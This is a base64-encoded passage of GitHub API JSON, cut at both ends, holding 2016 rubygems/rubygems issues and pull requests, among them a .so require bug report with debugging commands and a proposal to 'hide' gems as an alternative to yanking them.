SBmcm9tIGRlcGVuZGVuY3lfaW5zdGFsbGVyLnJiIiwidXNlciI6eyJsb2dpbiI6ImJyb256ZG9jIiwiaWQiOjQ1OTUxNzQsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMyLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzQ1OTUxNzQ/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnJvbnpkb2MiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2Mvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDU1MjU2MzIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwbWFqb3IlMjBidW1wIiwibmFtZSI6InR5cGU6IG1ham9yIGJ1bXAiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo2LCJjcmVhdGVkX2F0IjoiMjAxNi0wMy0wMlQwNDowNTo0MloiLCJ1cGRhdGVkX2F0IjoiMjAxNi0xMC0yNVQwMjoyOTo1N1oiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik1FTUJFUiIsInB1bGxfcmVxdWVzdCI6eyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzE1MjQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE1MjQiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE1MjQuZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE1MjQucGF0Y2gifSwiYm9keSI6IiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTUyMSIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTIxL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTIxL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1MjEvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNTIxIiwiaWQiOjEzNzY0NDcyNCwibnVtYmVyIjoxNTIxLCJ0aXRsZSI6IltCYXNpY1NwZWNpZmljYXRpb25dIERvbnQgY29uc2lkZXIgZXh0bmFtZSBpbiBoYXZlX2ZpbGU/IiwidXNlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOltdLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MTYsImNyZWF0ZWRfYXQiOiIyMDE2LTAzLTAxVDE4OjAxOjE5WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTAxLTI4VDAwOjU1OjI2WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiT1dORVIiLCJwdWxsX3JlcXVlc3QiOnsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xNTIxIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNTIxIiwiZGlmZl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNTIxLmRpZmYiLCJwYXRjaF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNTIxLnBhdGNoIn0sImJvZHkiOiIjIERlc2NyaXB0aW9uOlxuXG5BbiBhdHRlbXB0IHRvIGZpeCAjMTUwNy4gU3RpbGwgbmVlZHMgdGVzdCBjb3ZlcmFnZS5cblxuXFxjIEB0ZW5kZXJsb3ZlIFxuIyBUYXNrczpcbi0gW3hdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxuLSBbeF0gV3JpdGUgdGVzdHNcbi0gW3hdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcbi0gW3hdIFtTcXVhc2ggY29tbWl0c10oaHR0cDovL2dpdHJlYWR5LmNvbS9hZHZhbmNlZC8yMDA5LzAyLzEwL3NxdWFzaGluZy1jb21taXRzLXdpdGgtcmViYXNlLmh0bWwpXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1MDciLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTUwNy9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTUwNy9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTA3L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTA3IiwiaWQiOjEzNjIyNTczNSwibnVtYmVyIjoxNTA3LCJ0aXRsZSI6IlJlcXVpcmluZyBhbiAuc28gZmlsZSB2aWEgUnVieSB3aWxsIG5vdCB3b3JrIHdpdGggUnVieUdlbXMiLCJ1c2VyIjp7ImxvZ2luIjoidGVuZGVybG92ZSIsImlkIjozMTI0LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8zMTI0P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vdGVuZGVybG92ZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjp0cnVlfSwibGFiZWxzIjpbeyJpZCI6MTEyMjE4LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jYXRlZ29yeTolMjAlMjNnZW0lMjBvciUyMCUyM3JlcXVpcmUiLCJuYW1lIjoiY2F0ZWdvcnk6ICNnZW0gb3IgI3JlcXVpcmUiLCJjb2xvciI6IjBiMDJlMSIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjozMDc4ODEwMTEsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjByZWFkeSIsIm5hbWUiOiJzdGF0dXM6IHJlYWR5IiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MTEyMjMwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGJ1ZyUyMHJlcG9ydCIsIm5hbWUiOiJ0eXBlOiBidWcgcmVwb3J0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6NCwiY3JlYXRlZF9hdCI6IjIwMTYtMDItMjRUMjM6NDE6NTlaIiwidXBkYXRlZF9hdCI6IjIwMTYtMDYtMDlUMDk6MjA6MTFaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJNRU1CRVIiLCJib2R5IjoiSWYgSSByZXF1aXJlIGEgLnNvIGZpbGUgdmlhIFJ1YnkncyByZXF1aXJlLCBpdCB3b3Jrcy4gIEJ1dCBpZiBJIGRvIHRoZSBzYW1lIHRoaW5nIHZpYSBSdWJ5R2VtcywgaXQgd29uJ3Qgd29yay4gIEhlcmUgaXMgYW4gZXhhbXBsZTpcblxuYGBgXG4jIFB1dCBub2tvZ2lyaSdzIGxpYiBkaXIgb24gdGhlIGxvYWQgcGF0aCBzbyB0aGF0IFJ1YnlHZW1zIGlzbid0IHVzZWQsIHRoZW4gcmVxdWlyZSB0aGUgLnNvIGZpbGVcblthYXJvbkBUQyB+XSQgcnVieSAtSSAkKGRpcm5hbWUgYGdlbSB3aGljaCBub2tvZ2lyaWApIC1lJ2wgPSAkTE9BREVEX0ZFQVRVUkVTLmR1cDsgcmVxdWlyZSBcIm5va29naXJpL25va29naXJpLnNvXCI7IHAgJExPQURFRF9GRUFUVVJFUyAtIGwnXG5bXCIvVXNlcnMvYWFyb24vLnJiZW52L3ZlcnNpb25zL3J1YnktdHJ1bmsvbGliL3J1YnkvZ2Vtcy8yLjQuMC9nZW1zL25va29naXJpLTEuNi44LnJjMy14ODZfNjQtZGFyd2luLTE1L2xpYi9ub2tvZ2lyaS9ub2tvZ2lyaS5idW5kbGVcIl1cbmBgYFxuXG5SdWJ5IGF1dG9tYXRpY2FsbHkgZGVhbHMgd2l0aCB0aGUgLnNvIC0+IC5idW5kbGUgY29udmVyc2lvbiAoc28gdGhhdCB0aGUgcmVxdWlyZSBpcyBjcm9zcyBwbGF0Zm9ybSkuXG5cbklmIEkgcmVtb3ZlIE5va29naXJpIGZyb20gdGhlIGxvYWQgcGF0aCwgdGhlbiBSdWJ5R2VtcyB3aWxsIG5vdCBiZWhhdmUgdGhlIHNhbWUgd2F5IFJ1YnkgZG9lczpcblxuYGBgXG5bYWFyb25AVEMgfl0kIHJ1YnkgLWUnbCA9ICRMT0FERURfRkVBVFVSRVMuZHVwOyByZXF1aXJlIFwibm9rb2dpcmkvbm9rb2dpcmkuc29cIjsgcCAkTE9BREVEX0ZFQVRVUkVTIC0gbCdcbi9Vc2Vycy9hYXJvbi8ucmJlbnYvdmVyc2lvbnMvcnVieS10cnVuay9saWIvcnVieS8yLjQuMC9ydWJ5Z2Vtcy9jb3JlX2V4dC9rZXJuZWxfcmVxdWlyZS5yYjo1NTppbiBgcmVxdWlyZSc6IGNhbm5vdCBsb2FkIHN1Y2ggZmlsZSAtLSBub2tvZ2lyaS9ub2tvZ2lyaS5zbyAoTG9hZEVycm9yKVxuICAgIGZyb20gL1VzZXJzL2Fhcm9uLy5yYmVudi92ZXJzaW9ucy9ydWJ5LXRydW5rL2xpYi9ydWJ5LzIuNC4wL3J1YnlnZW1zL2NvcmVfZXh0L2tlcm5lbF9yZXF1aXJlLnJiOjU1OmluIGByZXF1aXJlJ1xuICAgIGZyb20gLWU6MTppbiBgPG1haW4+J1xuW2Fhcm9uQFRDIH5dJFxuYGBgXG5cbkkgZXhwZWN0IHRoZSBgcmVxdWlyZWAgY2FsbCB0byB3b3JrIHdpdGhvdXQgYmVpbmcgY2hhbmdlZCwgYnV0IHdoYXQgYWN0dWFsbHkgaGFwcGVucyBpcyB0aGF0IFJ1YnlHZW1zIHJhaXNlcyBhbiBleGNlcHRpb24uXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1MDYiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTUwNi9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTUwNi9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTA2L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTA2IiwiaWQiOjEzNjE1NTg3MSwibnVtYmVyIjoxNTA2LCJ0aXRsZSI6IldlIHN0aWxsIG5lZWQgYW4gYWx0ZXJuYXRpdmUgdG8geWFuayAtLSBob3cgYWJvdXQgJ2hpZGUnPyIsInVzZXIiOnsibG9naW4iOiJsYW1vbnQtZ3JhbnF1aXN0IiwiaWQiOjQ1NDg1NywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNDU0ODU3P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9sYW1vbnQtZ3JhbnF1aXN0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vbGFtb250LWdyYW5xdWlzdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2xhbW9udC1ncmFucXVpc3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbGFtb250LWdyYW5xdWlzdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9sYW1vbnQtZ3JhbnF1aXN0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9sYW1vbnQtZ3JhbnF1aXN0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbGFtb250LWdyYW5xdWlzdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2xhbW9udC1ncmFucXVpc3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbGFtb250LWdyYW5xdWlzdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2xhbW9udC1ncmFucXVpc3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2xhbW9udC1ncmFucXVpc3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNTUyNDc1MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBmZWF0dXJlJTIwcmVxdWVzdCIsIm5hbWUiOiJ0eXBlOiBmZWF0dXJlIHJlcXVlc3QiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoxNiwiY3JlYXRlZF9hdCI6IjIwMTYtMDItMjRUMTk6MDQ6NDJaIiwidXBkYXRlZF9hdCI6IjIwMTYtMDYtMDlUMDk6NTc6NTlaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6Ik9wZW5pbmcgdGhpcyBiZWNhdXNlIEkgdGhpbmsgIzg1OCB3YXMgY2xvc2VkIHdpdGhvdXQgdW5kZXJzdGFuZGluZyB0aGUgcG9pbnQgb2Ygd2h5IHRoYXQgaXNzdWUgd2FzIG9wZW5lZC5cblxuVGhlIGNoYW5nZXMgdGhhdCB3ZXJlIG1hZGUgdG8gcGVybWFkZWxldGUgKGh0dHA6Ly9ibG9nLnJ1YnlnZW1zLm9yZy8yMDE1LzA0LzEzL3Blcm1hZGVsZXRlLW9uLXlhbmsuaHRtbCkgc29sdmVkIGlzc3VlcyBhcm91bmQgdGhlIHVzYWJpbGl0eSBmb3IgdGhlIHVzZSBjYXNlIHdoZW4geW91IHJlYWxseSBzaG91bGQgeWFuayBhIGdlbSAtLSB3aGVyZSB5b3UndmUgcHVzaGVkIHNlbnNpdGl2ZSBjcmVkZW50aWFscyBpbiB0aGUgZ2VtLCBvciBpdCBoYXMgc29tZSBraW5kIG9mIGhlYXJ0YmxlZWQtbGV2ZWwgZXBpYyBzZWN1cml0eSBob2xlLCBhbmQgeW91IHJlYWxseSBuZWVkIHRvIGRlbGV0ZSBpdCBpbiBvcmRlciB0byBtaXRpZ2F0ZSB0aGUgaW1wYWN0LlxuXG5UaGUgcHJvYmxlbSBjb21lcyB3aGVuIGdlbXMgYXJlIHlhbmtlZCB3aGVuIHRoZXkncmUganVzdCBidWdneS4gIEkgcmFuIGludG8gdGhpcyBiZWZvcmUgd2hlbiBJIHlhbmtlZCBvaGFpIDcuNi4wIGF3aGlsZSBhZnRlciBpdCB3YXMgcmVsZWFzZWQgYW5kIGJyb2tlIGV2ZXJ5IEdlbWZpbGUubG9jayB3aGljaCBoYWQgcGlubmVkIG9oYWkgdG8gdGhhdCB2ZXJzaW9uLiAgIFdlIGFsc28ganVzdCBnb3QgYml0IHRvZGF5IGJ5IGdpdGh1Yl9jaGFuZ2Vsb2dfZ2VuZXJhdG9yIHlhbmtpbmcgcXVpdGUgYSBmZXcgdmVyc2lvbnMgdGhhdCB3ZXJlIHJlbGVhc2VkIGluIHRoZSBwYXN0IDIgZGF5cyAoMS4xMC4yLDEuMTAuMywxLjEwLjUsMS4xMS4wKS5cblxuQXMgYSBtaW5pbXVtIHZpYWJsZSBwcm9wb3NhbCB3aGF0IEknZCBsaWtlIHRvIHN1Z2dlc3QgaXMgYSB3YXkgdG8gJ2hpZGUnIGEgZ2VtLiAgV2hlbiBhIGdlbSBpcyAnaGlkZGVuJyBpdCBzaG91bGQgYXBwZWFyIG1hcmtlZCBhcyAnaGlkZGVuJyBpbnN0ZWFkIG9mICd5YW5rZWQnIGluIHRoZSBydWJ5Z2VtcyBBUEkuICAgQXMgYSByZXN1bHQgb2YgYmVpbmcgaGlkZGVuIHRoZSBkZXBzb2x2ZXIgd2lsbCBub3QgdXNlIGl0IHRvIGZpbmQgc29sdXRpb25zIHRvIGNvbnN0cmFpbnRzIChmYWlsaW5nIHRoZSBzb2x2ZSBpZiB0aGVyZSdzIG5vIGFsdGVybmF0aXZlKS4gIEJ1dCB0aGUgZ2VtIGNhbiBiZSBpbnN0YWxsZWQgd2l0aCAnZ2VtIGluc3RhbGwgLXYnIGFuZCBHZW1maWxlLmxvY2tzIHdpdGggaGlkZGVuIGdlbXMgaW4gdGhlbSB3aWxsIHN0aWxsIGJlIGFibGUgdG8gcHVsbCB0aGUgZ2VtIGRvd24gYW5kIHdpbGwgbm90IGJyZWFrIGJ5IHRoZSBhY3Rpb24gb2YgdGhlIGdlbSBiZWluZyAnaGlkZGVuJy5cblxuVGhpcyBnZXRzIG1vcmUgYXQgdGhlIHVzZSBjYXNlIHRoYXQgaXMgb2Z0ZW4sIGluY29ycmVjdGx5LCB3aGF0IHVzZXJzIGFyZSB0cnlpbmcgdG8gYWNjb21wbGlzaCB3aGVuIHVzaW5nICdnZW0geWFuayc6XG4tIHVzZXJzIHdoaWNoIGFyZSBoYXBwaWx5IHVzaW5nIHRoZSAnYnJva2VuJyBnZW0gY2FuIHN0aWxsIHVzZSBpdCAocHJlc3VtYWJseSB0aGV5J3JlIG5vdCBhZmZlY3RlZCBieSB0aGUgYnVnKVxuLSBuZXcgdXNlcnMgbmV2ZXIgZ2V0IHRoZSAnYnJva2VuJyBnZW1cblxuSSBkb24ndCByZWFsbHkgdGhpbmsgaXRzIG5lY2Vzc2FyeSB0byBwdWJsaXNoIHRoZSAncmVhc29uJyBmb3Igd2h5IHRoZSBnZW0gd2FzIGhpZGRlbi4gIEdlbmVyYWxseSBpbnRlcmVzdGVkIHVzZXJzIHdpbGwgYmUgYWJsZSB0byBmaW5kIHRoZSByZWFzb24gb24gdGhlIGlzc3VlIHRyYWNrZXIgZm9yIHRoZSBwcm9qZWN0LiBJIHRoaW5rIHRoYXQgYWxsIHRoYXQgaXMgbmVjZXNzYXJ5IGlzIGp1c3QgaW1wbGVtZW50aW5nIHRoZSAnaGlkZScgbWVjaGFuaXNtLlxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTA0IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1MDQvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1MDQvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydW